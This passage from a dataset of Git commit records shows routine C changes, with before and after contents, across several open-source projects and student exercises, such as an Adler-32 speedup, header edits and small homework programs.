\"sw\/device\/lib\/base\/mmio.h\"\n#include \"sw\/device\/lib\/runtime\/hart.h\"\n\n\/**\n * Address of the memory location to write the test status. For DV use only.\n *\/\nstatic const uintptr_t kSwDvTestStatusAddr = 0x1000fff8;\n\nvoid test_status_set(test_status_t test_status) {\n  if (kDeviceType == kDeviceSimDV) {\n    mmio_region_t sw_dv_test_status_addr =\n        mmio_region_from_addr(kSwDvTestStatusAddr);\n    mmio_region_write32(sw_dv_test_status_addr, 0x0, (uint32_t)test_status);\n  }\n\n  switch (test_status) {\n    case kTestStatusPassed: {\n      LOG_INFO(\"PASS!\");\n      abort();\n      break;\n    }\n    case kTestStatusFailed: {\n      LOG_INFO(\"FAIL!\");\n      abort();\n      break;\n    }\n    default: {\n      \/\/ Do nothing.\n      break;\n    }\n  }\n}\n","subject":"Fix PASS!, FAIL! signatures for CI","message":"[sw] Fix PASS!, FAIL! signatures for CI\n\nSigned-off-by: Srikrishna Iyer <2803d640feace36379942447842f26c7747b4dc3@google.com>\n","lang":"C","license":"apache-2.0","repos":"lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan"}
{"commit":"860d69cadedef0dec8ba6259ab5850691d3402e7","old_file":"src\/tslib-private.h","new_file":"src\/tslib-private.h","old_contents":"#ifndef _TSLIB_PRIVATE_H_\n#define _TSLIB_PRIVATE_H_\n\/*\n *  tslib\/src\/tslib-private.h\n *\n *  Copyright (C) 2001 Russell King.\n *\n * This file is placed under the LGPL.\n *\n *\n * Internal touch screen library definitions.\n *\/\n#ifdef __cplusplus\nextern \"C\" {\n#endif \/* __cplusplus *\/\n\n#include \"tslib.h\"\n#include \"tslib-filter.h\"\n\n#define DEBUG\n\nstruct tsdev {\n\tint fd;\n\tstruct tslib_module_info *list;\n\tstruct tslib_module_info *list_raw; \/* points to position in 'list' where raw reads\n\t\t\t\t\t       come from.  default is the position of the\n\t\t\t\t\t       ts_read_raw module. *\/\n\tunsigned int res_x;\n\tunsigned int res_y;\n\tint rotation;\n};\n\nint __ts_attach(struct tsdev *ts, struct tslib_module_info *info);\nint __ts_attach_raw(struct tsdev *ts, struct tslib_module_info *info);\nint ts_load_module(struct tsdev *dev, const char *module, const char *params);\nint ts_load_module_raw(struct tsdev *dev, const char *module, const char *params);\nint ts_error(const char *fmt, ...);\n\n#ifdef __cplusplus\n}\n#endif \/* __cplusplus *\/\n#endif \/* _TSLIB_PRIVATE_H_ *\/\n","new_contents":"#ifndef _TSLIB_PRIVATE_H_\n#define _TSLIB_PRIVATE_H_\n\/*\n *  tslib\/src\/tslib-private.h\n *\n *  Copyright (C) 2001 Russell King.\n *\n * This file is placed under the LGPL.\n *\n *\n * Internal touch screen library definitions.\n *\/\n#ifdef __cplusplus\nextern \"C\" {\n#endif \/* __cplusplus *\/\n\n#include \"tslib.h\"\n#include \"tslib-filter.h\"\n\nstruct tsdev {\n\tint fd;\n\tstruct tslib_module_info *list;\n\tstruct tslib_module_info *list_raw; \/* points to position in 'list' where raw reads\n\t\t\t\t\t       come from.  default is the position of the\n\t\t\t\t\t       ts_read_raw module. *\/\n\tunsigned int res_x;\n\tunsigned int res_y;\n\tint rotation;\n};\n\nint __ts_attach(struct tsdev *ts, struct tslib_module_info *info);\nint __ts_attach_raw(struct tsdev *ts, struct tslib_module_info *info);\nint ts_load_module(struct tsdev *dev, const char *module, const char *params);\nint ts_load_module_raw(struct tsdev *dev, const char *module, const char *params);\nint ts_error(const char *fmt, ...);\n\n#ifdef __cplusplus\n}\n#endif \/* __cplusplus *\/\n#endif \/* _TSLIB_PRIVATE_H_ *\/\n","subject":"Revert \"Enable debug option for all components\"","message":"Revert \"Enable debug option for all components\"\n\nThis reverts commit 9c3742a8d8a829ec746e0a974aa30fb5dd0e3d1a.\n","lang":"C","license":"lgpl-2.1","repos":"folkien\/tslib,vpeter4\/tslib,kergoth\/tslib,etmatrix\/tslib,lin2724\/tslib,folkien\/tslib,etmatrix\/tslib,leighmurray\/tslib,lin2724\/tslib,vpeter4\/tslib,kergoth\/tslib,pssc\/tslib,kobolabs\/tslib,kergoth\/tslib,leighmurray\/tslib,pssc\/tslib,kobolabs\/tslib,etmatrix\/tslib,pssc\/tslib,jaretcantu\/tslib,jaretcantu\/tslib,kobolabs\/tslib,kergoth\/tslib"}
{"commit":"aec7c5441c59362fe2445515156a6ce88868d5ff","old_file":"targets\/TARGET_NUVOTON\/TARGET_M2351\/device\/cmsis.h","new_file":"targets\/TARGET_NUVOTON\/TARGET_M2351\/device\/cmsis.h","old_contents":"\/* mbed Microcontroller Library\n * Copyright (c) 2015-2017 Nuvoton\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef MBED_CMSIS_H\n#define MBED_CMSIS_H\n\n#include \"M2351.h\"\n#include \"cmsis_nvic.h\"\n\n\/\/ Support linker-generated symbol as start of relocated vector table.\n#if defined(__CC_ARM) || (defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050))\nextern uint32_t Image$$ER_IRAMVEC$$ZI$$Base;\n#elif defined(__ICCARM__)\n\n#elif defined(__GNUC__)\nextern uint32_t __start_vector_table__;\n#endif\n\n\n#endif\n","new_contents":"\/* mbed Microcontroller Library\n * Copyright (c) 2015-2017 Nuvoton\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef MBED_CMSIS_H\n#define MBED_CMSIS_H\n\n#include \"M2351.h\"\n#include \"cmsis_nvic.h\"\n\n\/\/ Support linker-generated symbol as start of relocated vector table.\n#if defined(__CC_ARM) || (defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050))\nextern uint32_t Image$$ER_IRAMVEC$$ZI$$Base;\n#elif defined(__ICCARM__)\n\n#elif defined(__GNUC__)\nextern uint32_t __start_vector_table__;\n#endif\n\n\/* TZ_START_NS: Start address of non-secure application *\/\n#ifndef TZ_START_NS\n#define TZ_START_NS (0x10040000U)\n#endif\n\n#endif\n","subject":"Add non-secure reset handler address","message":"[M2351] Add non-secure reset handler address\n","lang":"C","license":"apache-2.0","repos":"c1728p9\/mbed-os,andcor02\/mbed-os,mbedmicro\/mbed,mbedmicro\/mbed,betzw\/mbed-os,betzw\/mbed-os,mbedmicro\/mbed,andcor02\/mbed-os,c1728p9\/mbed-os,andcor02\/mbed-os,betzw\/mbed-os,c1728p9\/mbed-os,c1728p9\/mbed-os,mbedmicro\/mbed,kjbracey-arm\/mbed,andcor02\/mbed-os,kjbracey-arm\/mbed,mbedmicro\/mbed,betzw\/mbed-os,betzw\/mbed-os,kjbracey-arm\/mbed,andcor02\/mbed-os,kjbracey-arm\/mbed,betzw\/mbed-os,andcor02\/mbed-os,c1728p9\/mbed-os,c1728p9\/mbed-os"}
{"commit":"3b7f936ae7fecaca3abd5b563610c207dd7d704e","old_file":"A\/03\/09\/task1.c","new_file":"A\/03\/09\/task1.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <string.h>\n\nint is_valid_ucn(char*);\n\nint main() {\n    \n    char ucn[12];\n    fgets(ucn, 13, stdin);\n    \n    printf(\"%d\", is_valid_ucn(ucn));\n    \n    return 0;\n}\n\nint is_valid_ucn(char *ucn) {\n    \n    int control = 0, month = (ucn[2] - '0') * 10 + (ucn[3] - '0');\n    int length = strlen(ucn);\n    int weights[] = { 2, 4, 8, 5, 10, 9, 7, 3, 6 };\n    \n    if (length == 10) {\n        \n        if (!(\n            (month >= 1 && month <= 12) || \n            (month >= 1 + 20 && month <= 12 + 20) ||\n            (month >= 1 + 40 && month <= 12 + 40))\n        ) { \n            return 0; \n        }\n        \n        for (int i = 0; i < length - 1; i++) {\n            control += (ucn[i] - '0') * weights[i];\n        }\n        \n        control %= 11;\n        if (control != ucn[9] - '0' || control > 10) {\n            return 0;\n        }\n        \n    } else {\n        return 0;\n    }\n    \n    return 1;\n}","subject":"Add Task 01 from Homework 03","message":"Add Task 01 from Homework 03\n","lang":"C","license":"mit","repos":"elsys\/po-homework"}
{"commit":"ced21016cec1f189a695857bed103ecc9e3f3696","old_file":"include\/clang\/AST\/ParentMap.h","new_file":"include\/clang\/AST\/ParentMap.h","old_contents":"\/\/===--- ParentMap.h - Mappings from Stmts to their Parents -----*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines the ParentMap class.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_PARENTMAP_H\n#define LLVM_CLANG_PARENTMAP_H\n\nnamespace clang {\nclass Stmt;\n  \nclass ParentMap {\n  void* Impl;\npublic:\n  ParentMap(Stmt* ASTRoot);\n  ~ParentMap();\n\n  Stmt* getParent(Stmt*) const;  \n\n  bool hasParent(Stmt* S) const {\n    return getParent(S) != 0;\n  }\n};\n  \n} \/\/ end clang namespace\n#endif\n","new_contents":"\/\/===--- ParentMap.h - Mappings from Stmts to their Parents -----*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/  This file defines the ParentMap class.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_PARENTMAP_H\n#define LLVM_CLANG_PARENTMAP_H\n\nnamespace clang {\nclass Stmt;\n  \nclass ParentMap {\n  void* Impl;\npublic:\n  ParentMap(Stmt* ASTRoot);\n  ~ParentMap();\n\n  Stmt* getParent(Stmt*) const;\n\n  const Stmt* getParent(const Stmt* S) const {\n    return getParent(const_cast<Stmt*>(S));\n  }\n\n  bool hasParent(Stmt* S) const {\n    return getParent(S) != 0;\n  }\n};\n  \n} \/\/ end clang namespace\n#endif\n","subject":"Add missing header file change.","message":"Add missing header file change.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@67871 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"734ccee565efd274e47f95ea314220726a38a512","old_file":"src\/gallium\/include\/pipe\/p_error.h","new_file":"src\/gallium\/include\/pipe\/p_error.h","old_contents":"","new_contents":"\/**************************************************************************\n * \n * Copyright 2008 Tungsten Graphics, Inc., Cedar Park, Texas.\n * All Rights Reserved.\n * \n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sub license, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n * \n * The above copyright notice and this permission notice (including the\n * next paragraph) shall be included in all copies or substantial portions\n * of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT.\n * IN NO EVENT SHALL TUNGSTEN GRAPHICS AND\/OR ITS SUPPLIERS BE LIABLE FOR\n * ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n * \n **************************************************************************\/\n\n\/**\n * @file\n * Gallium error codes.\n * \n * @author José Fonseca <jrfonseca@tungstengraphics.com>\n *\/\n\n#ifndef P_ERROR_H_\n#define P_ERROR_H_\n\n\n#ifdef\t__cplusplus\nextern \"C\" {\n#endif\n\n   \n\/**\n * Gallium error codes.\n * \n * - A zero value always means success.\n * - A negative value always means failure.\n * - The meaning of a positive value is function dependent. \n *\/\nenum pipe_error {\n   PIPE_OK = 0,\n   PIPE_ERROR = -1,    \/**< Generic error *\/\n   PIPE_ERROR_BAD_INPUT = -2, \n   PIPE_ERROR_OUT_OF_MEMORY = -3,\n   PIPE_ERROR_RETRY = -4\n   \/* TODO *\/\n};\n\n\n#ifdef\t__cplusplus\n}\n#endif\n\n#endif \/* P_ERROR_H_ *\/\n","subject":"Standardize most important error codes.","message":"gallium: Standardize most important error codes.\n","lang":"C","license":"mit","repos":"benaadams\/glsl-optimizer,metora\/MesaGLSLCompiler,mapbox\/glsl-optimizer,mapbox\/glsl-optimizer,djreep81\/glsl-optimizer,benaadams\/glsl-optimizer,mapbox\/glsl-optimizer,benaadams\/glsl-optimizer,zeux\/glsl-optimizer,adobe\/glsl2agal,benaadams\/glsl-optimizer,KTXSoftware\/glsl2agal,zz85\/glsl-optimizer,jbarczak\/glsl-optimizer,djreep81\/glsl-optimizer,benaadams\/glsl-optimizer,adobe\/glsl2agal,zeux\/glsl-optimizer,mapbox\/glsl-optimizer,dellis1972\/glsl-optimizer,zeux\/glsl-optimizer,djreep81\/glsl-optimizer,jbarczak\/glsl-optimizer,wolf96\/glsl-optimizer,tokyovigilante\/glsl-optimizer,wolf96\/glsl-optimizer,KTXSoftware\/glsl2agal,metora\/MesaGLSLCompiler,dellis1972\/glsl-optimizer,tokyovigilante\/glsl-optimizer,adobe\/glsl2agal,mapbox\/glsl-optimizer,bkaradzic\/glsl-optimizer,tokyovigilante\/glsl-optimizer,wolf96\/glsl-optimizer,wolf96\/glsl-optimizer,adobe\/glsl2agal,jbarczak\/glsl-optimizer,zeux\/glsl-optimizer,bkaradzic\/glsl-optimizer,zz85\/glsl-optimizer,metora\/MesaGLSLCompiler,dellis1972\/glsl-optimizer,zz85\/glsl-optimizer,KTXSoftware\/glsl2agal,zz85\/glsl-optimizer,mcanthony\/glsl-optimizer,wolf96\/glsl-optimizer,bkaradzic\/glsl-optimizer,mcanthony\/glsl-optimizer,tokyovigilante\/glsl-optimizer,KTXSoftware\/glsl2agal,mcanthony\/glsl-optimizer,djreep81\/glsl-optimizer,djreep81\/glsl-optimizer,jbarczak\/glsl-optimizer,KTXSoftware\/glsl2agal,bkaradzic\/glsl-optimizer,tokyovigilante\/glsl-optimizer,zeux\/glsl-optimizer,jbarczak\/glsl-optimizer,mcanthony\/glsl-optimizer,mcanthony\/glsl-optimizer,zz85\/glsl-optimizer,zz85\/glsl-optimizer,adobe\/glsl2agal,dellis1972\/glsl-optimizer,bkaradzic\/glsl-optimizer,dellis1972\/glsl-optimizer,benaadams\/glsl-optimizer"}
{"commit":"2174ba24cb1eb714ff02128b034cd967f78e5d17","old_file":"runtime\/common\/xwalk_common_message_generator.h","new_file":"runtime\/common\/xwalk_common_message_generator.h","old_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ Multiply-included file, hence no include guard.\n\n#include \"xwalk\/runtime\/common\/xwalk_common_messages.h\"\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ Multiply-included file, hence no include guard.\n\/\/ NOLINT(build\/header_guard)\n\n#include \"xwalk\/runtime\/common\/xwalk_common_messages.h\"\n","subject":"Add a NOLINT to avoid a build\/header_guard cpplint warning.","message":"Add a NOLINT to avoid a build\/header_guard cpplint warning.\n\n`xwalk_common_message_generator.h` does not have include guards, and\naccording to a comment there this seems to be on purpose.\n\nAdd a `NOLINT` entry to it to avoid cpplint a build\/header_guard error.\n\nBUG=XWALK-1853\n","lang":"C","license":"bsd-3-clause","repos":"rakuco\/crosswalk,crosswalk-project\/crosswalk,baleboy\/crosswalk,dreamsxin\/crosswalk,crosswalk-project\/crosswalk,xzhan96\/crosswalk,lincsoon\/crosswalk,PeterWangIntel\/crosswalk,rakuco\/crosswalk,heke123\/crosswalk,dreamsxin\/crosswalk,heke123\/crosswalk,axinging\/crosswalk,PeterWangIntel\/crosswalk,heke123\/crosswalk,xzhan96\/crosswalk,crosswalk-project\/crosswalk,xzhan96\/crosswalk,lincsoon\/crosswalk,crosswalk-project\/crosswalk,xzhan96\/crosswalk,axinging\/crosswalk,darktears\/crosswalk,hgl888\/crosswalk,hgl888\/crosswalk,axinging\/crosswalk,darktears\/crosswalk,hgl888\/crosswalk,rakuco\/crosswalk,PeterWangIntel\/crosswalk,xzhan96\/crosswalk,rakuco\/crosswalk,heke123\/crosswalk,hgl888\/crosswalk,axinging\/crosswalk,dreamsxin\/crosswalk,darktears\/crosswalk,crosswalk-project\/crosswalk,heke123\/crosswalk,lincsoon\/crosswalk,dreamsxin\/crosswalk,hgl888\/crosswalk,hgl888\/crosswalk,lincsoon\/crosswalk,darktears\/crosswalk,lincsoon\/crosswalk,PeterWangIntel\/crosswalk,darktears\/crosswalk,baleboy\/crosswalk,baleboy\/crosswalk,PeterWangIntel\/crosswalk,lincsoon\/crosswalk,PeterWangIntel\/crosswalk,PeterWangIntel\/crosswalk,darktears\/crosswalk,darktears\/crosswalk,baleboy\/crosswalk,rakuco\/crosswalk,lincsoon\/crosswalk,axinging\/crosswalk,baleboy\/crosswalk,baleboy\/crosswalk,xzhan96\/crosswalk,dreamsxin\/crosswalk,crosswalk-project\/crosswalk,baleboy\/crosswalk,hgl888\/crosswalk,crosswalk-project\/crosswalk,axinging\/crosswalk,xzhan96\/crosswalk,hgl888\/crosswalk,heke123\/crosswalk,darktears\/crosswalk,xzhan96\/crosswalk,rakuco\/crosswalk,heke123\/crosswalk,crosswalk-project\/crosswalk,axinging\/crosswalk,baleboy\/crosswalk,heke123\/crosswalk,dreamsxin\/crosswalk,dreamsxin\/crosswalk,rakuco\/crosswalk,rakuco\/crosswalk,lincsoon\/crosswalk"}
{"commit":"af8f7968770fa4714fb0c4d55277fb117fc39be9","old_file":"snp\/packets.h","new_file":"snp\/packets.h","old_contents":"#pragma once\n\n#include <winsock2.h>\n\n#include \"common\/types.h\"\n\n#define SNP_PACKET_SIZE 512\n\nnamespace sbat {\nnamespace snp {\nenum class PacketType : byte {\n  Storm = 0\n};\n\n#pragma pack(push)\n#pragma pack(1)\n\/\/ this packet info wraps the packets sent by storm\/us with something that can be used to route it\nstruct PacketHeader {\n  PacketType type;\n  uint16 size;  \/\/ size does not include the size of this header\n};\n#pragma pack(pop)\n\n\/\/ Storm packets that will be queued until read\nstruct StormPacket {\n  byte data[SNP_PACKET_SIZE];\n  sockaddr_in from_address;\n  uint32 size;\n\n  StormPacket* next;\n};\n}  \/\/ namespace snp\n}  \/\/ namespace sbat\n","new_contents":"#pragma once\n\n#include <winsock2.h>\n\n#include \"common\/types.h\"\n\n\n\nnamespace sbat {\nnamespace snp {\n\/\/ min-MTU - (max-IP-header-size + udp-header-size)\nconst size_t SNP_PACKET_SIZE = 576 - (60 + 8);\n\nenum class PacketType : byte {\n  Storm = 0\n};\n\n#pragma pack(push)\n#pragma pack(1)\n\/\/ this packet info wraps the packets sent by storm\/us with something that can be used to route it\nstruct PacketHeader {\n  PacketType type;\n  uint16 size;  \/\/ size does not include the size of this header\n};\n#pragma pack(pop)\n\n\/\/ Storm packets that will be queued until read\nstruct StormPacket {\n  byte data[SNP_PACKET_SIZE];\n  sockaddr_in from_address;\n  uint32 size;\n\n  StormPacket* next;\n};\n}  \/\/ namespace snp\n}  \/\/ namespace sbat\n","subject":"Adjust snp packet size to better accomodate small MTUs.","message":"Adjust snp packet size to better accomodate small MTUs.\n","lang":"C","license":"mit","repos":"ShieldBattery\/ShieldBattery,ShieldBattery\/ShieldBattery,ShieldBattery\/ShieldBattery,ShieldBattery\/ShieldBattery,ShieldBattery\/ShieldBattery"}
{"commit":"bcf0039db5bac0f9a517c900eef642166822d00a","old_file":"6_kyu\/Simpson_Integral_Approximation.c","new_file":"6_kyu\/Simpson_Integral_Approximation.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <math.h>\n\n#define SIMPSON_METHOD 1\n\ndouble fun(double x) {\n    return (3.0 \/ 2) * pow(sin(x), 3);\n}\n\ndouble simpson_helper(double (*f)(double), double from, double to, int steps) {\n    double result = 0.0;\n    double acc = 0.0;\n    double h = (to - from) \/ steps;\n\n    result += (*f)(from) + (*f)(to);\n\n    acc = 0.0;\n    for (int i = 1, limit = steps \/ 2; i <= limit; i++) {\n        acc += (*f)(from + (2 * i - 1) * h);\n    }\n    result += 4 * acc;\n\n    acc = 0.0;\n    for (int i = 1, limit = steps \/ 2 - 1; i <= limit; i++) {\n        acc += (*f)(from + 2 * i * h);\n    }\n    result += 2 * acc;\n\n    return (h \/ 3) * result;\n}\n\n\/*codewars task function*\/\ndouble simpson(int n) {\n    return simpson_helper(fun, 0, M_PI, n);\n}\n\ndouble integral(double (*f)(double), double from, double to, int precision, int method) {\n    switch(method) {\n        case SIMPSON_METHOD:\n        default:\n            return simpson_helper(f, from, to, precision);\n    }\n}\n\nint main () {\n    unsigned int n;\n\n    scanf(\"%d\", &n);\n    printf(\"%f\", integral(fun, 0, M_PI, n, SIMPSON_METHOD));\n\n    return 1;\n}\n","subject":"Add Simpron integral approx. kata","message":"Add Simpron integral approx. kata\n","lang":"C","license":"mit","repos":"nkapliev\/codewars,nkapliev\/codewars,nkapliev\/codewars,nkapliev\/codewars"}
{"commit":"d46e893a0d7081a0821f89625e0731b78035e1ea","old_file":"src\/adler32.c","new_file":"src\/adler32.c","old_contents":"\/*\n * adler32.c\n *\n * Adler-32 checksum algorithm.\n *\/\n\n#include \"adler32.h\"\n\nu32\nadler32(const u8 *buffer, size_t size)\n{\n\tu32 s1 = 1;\n\tu32 s2 = 0;\n\tfor (size_t i = 0; i < size; i++) {\n\t\ts1 = (s1 + buffer[i]) % 65521;\n\t\ts2 = (s2 + s1) % 65521;\n\t}\n\treturn (s2 << 16) | s1;\n}\n","new_contents":"\/*\n * adler32.c\n *\n * Adler-32 checksum algorithm.\n *\/\n\n#include \"adler32.h\"\n#include \"compiler.h\"\n\n\/*\n * The Adler-32 divisor, or \"base\", value.\n *\/\n#define DIVISOR 65521\n\n\/*\n * MAX_BYTES_PER_CHUNK is the most bytes that can be processed without the\n * possibility of s2 overflowing when it is represented as an unsigned 32-bit\n * integer.  This value was computed using the following Python script:\n *\n *\tdivisor = 65521\n *\tcount = 0\n *\ts1 = divisor - 1\n *\ts2 = divisor - 1\n *\twhile True:\n *\t\ts1 += 0xFF\n *\t\ts2 += s1\n *\t\tif s2 > 0xFFFFFFFF:\n *\t\t\tbreak\n *\t\tcount += 1\n *\tprint(count)\n *\n * Note that to get the correct worst-case value, we must assume that every byte\n * has value 0xFF and that s1 and s2 started with the highest possible values\n * modulo the divisor.\n *\/\n#define MAX_BYTES_PER_CHUNK\t5552\n\nu32\nadler32(const u8 *buffer, size_t size)\n{\n\tu32 s1 = 1;\n\tu32 s2 = 0;\n\tconst u8 *p = buffer;\n\tconst u8 * const end = p + size;\n\twhile (p != end) {\n\t\tconst u8 *chunk_end = p + min(end - p,\n\t\t\t\t\t      MAX_BYTES_PER_CHUNK);\n\t\tdo {\n\t\t\ts1 += *p++;\n\t\t\ts2 += s1;\n\t\t} while (p != chunk_end);\n\t\ts1 %= 65521;\n\t\ts2 %= 65521;\n\t}\n\treturn (s2 << 16) | s1;\n}\n","subject":"Speed up Adler-32 by doing modulo less often","message":"Speed up Adler-32 by doing modulo less often\n","lang":"C","license":"mit","repos":"ebiggers\/libdeflate,ebiggers\/libdeflate,ebiggers\/libdeflate"}
{"commit":"e8a8ac08d9abe98ef3ecba4766e5f2665313ce3b","old_file":"src\/rtcmix\/rtdefs.h","new_file":"src\/rtcmix\/rtdefs.h","old_contents":"\/* To avoid recursion in certain includes *\/\n#ifndef _RTDEFS_H_\n#define _RTDEFS_H_ 1\n\n#define MAXCHANS 4\n#define MAX_INPUT_FDS 128\n#define AUDIO_DEVICE 9999999\n\n\/* definition of input file desc struct used by rtinput *\/\ntypedef struct inputdesc {\n   char  filename[1024];\n   int   fd;\n   int   refcount;\n   short header_type;           \/* e.g., AIFF_sound_file (in sndlib.h) *\/\n   short data_format;           \/* e.g., snd_16_linear (in sndlib.h) *\/\n   short chans;\n   float srate;\n   int   data_location;           \/* offset of sound data start in file *\/\n   float dur;\n} InputDesc;\n\n\/* for insts - so they don't have to include globals.h *\/\nextern int MAXBUF;\nextern int NCHANS;\nextern int RTBUFSAMPS;\nextern float SR;\n\n#endif \/* _RTDEFS_H_ *\/\n","new_contents":"\/* To avoid recursion in certain includes *\/\n#ifndef _RTDEFS_H_\n#define _RTDEFS_H_ 1\n\n#define MAXCHANS 4\n\n#define MAX_INPUT_FDS        128\n#define NO_DEVICE_FDINDEX    -1\n#define AUDIO_DEVICE_FDINDEX -2\n\n\/* definition of input file desc struct used by rtinput *\/\ntypedef struct inputdesc {\n   char  filename[1024];\n   int   fd;\n   int   refcount;\n   short header_type;           \/* e.g., AIFF_sound_file (in sndlib.h) *\/\n   short data_format;           \/* e.g., snd_16_linear (in sndlib.h) *\/\n   short chans;\n   float srate;\n   int   data_location;           \/* offset of sound data start in file *\/\n   float dur;\n} InputDesc;\n\n\/* for insts - so they don't have to include globals.h *\/\nextern int MAXBUF;\nextern int NCHANS;\nextern int RTBUFSAMPS;\nextern float SR;\n\n#endif \/* _RTDEFS_H_ *\/\n","subject":"Change \"AUDIO_DEVICE\" to \"AUDIO_DEVICE_FDINDEX\", and change its value. Add new \"NO_DEVICE_FDINDEX\".","message":"Change \"AUDIO_DEVICE\" to \"AUDIO_DEVICE_FDINDEX\", and change its value.\nAdd new \"NO_DEVICE_FDINDEX\".\n","lang":"C","license":"apache-2.0","repos":"RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix,RTcmix\/RTcmix"}
{"commit":"3c2e43310c2530efe55a10c6e02b89501c373f08","old_file":"sticks.c","new_file":"sticks.c","old_contents":"#include <stdio.h>\n\ntypedef struct {\n    int hands[2][2];\n    int turn;\n} Sticks;\n\nvoid sticks_create(Sticks *sticks) {\n    sticks->hands[0][0] = 1;\n    sticks->hands[0][1] = 1;\n    sticks->hands[1][0] = 1;\n    sticks->hands[1][1] = 1;\n    sticks->turn = 0;\n}\n\nvoid sticks_play(Sticks *sticks, int x, int y) {\n    sticks->hands[!sticks->turn][y] += sticks->hands[sticks->turn][x];\n    if (sticks->hands[!sticks->turn][y] >= 5) {\n        sticks->hands[!sticks->turn][y] = 0;\n    }\n    sticks->turn = !sticks->turn;\n}\n\nint main(void) {\n    Sticks sticks;\n    sticks_create(&sticks);\n    printf(\"%d\\n\", sticks.hands[0][0]);\n    printf(\"%d\\n\", sticks.turn);\n    sticks_play(&sticks, 0, 1);\n    printf(\"%d\\n\", sticks.hands[1][1]);\n    printf(\"%d\\n\", sticks.turn);\n}\n","new_contents":"#include <stdio.h>\n\ntypedef struct {\n    int hands[2][2];\n    int turn;\n} Sticks;\n\nvoid sticks_create(Sticks *sticks) {\n    sticks->hands[0][0] = 1;\n    sticks->hands[0][1] = 1;\n    sticks->hands[1][0] = 1;\n    sticks->hands[1][1] = 1;\n    sticks->turn = 0;\n}\n\nvoid sticks_play(Sticks *sticks, int attack, int x, int y) {\n    if (attack) {\n        sticks->hands[!sticks->turn][y] += sticks->hands[sticks->turn][x];\n        if (sticks->hands[!sticks->turn][y] >= 5) {\n            sticks->hands[!sticks->turn][y] = 0;\n        }\n    } else {\n        int fingers = sticks->hands[sticks->turn][0] + sticks->hands[sticks->turn][1];\n        int desired = 2 * x + y;\n        if (desired > fingers) desired = fingers;\n        if (desired < fingers - 4) desired = fingers - 4;\n        sticks->hands[sticks->turn][0] = desired;\n        sticks->hands[sticks->turn][1] = fingers - desired;\n    }\n    sticks->turn = !sticks->turn;\n}\n\nint main(void) {\n    Sticks sticks;\n    sticks_create(&sticks);\n    printf(\"%d\\n\", sticks.hands[0][0]);\n    printf(\"%d\\n\", sticks.turn);\n    sticks_play(&sticks, 0, 0, 0);\n    printf(\"%d\\n\", sticks.hands[0][0]);\n    printf(\"%d\\n\", sticks.hands[0][1]);\n    printf(\"%d\\n\", sticks.turn);\n}\n","subject":"Allow user to move fingers between own hands","message":"Allow user to move fingers between own hands\n","lang":"C","license":"mit","repos":"tysonzero\/c-ann"}
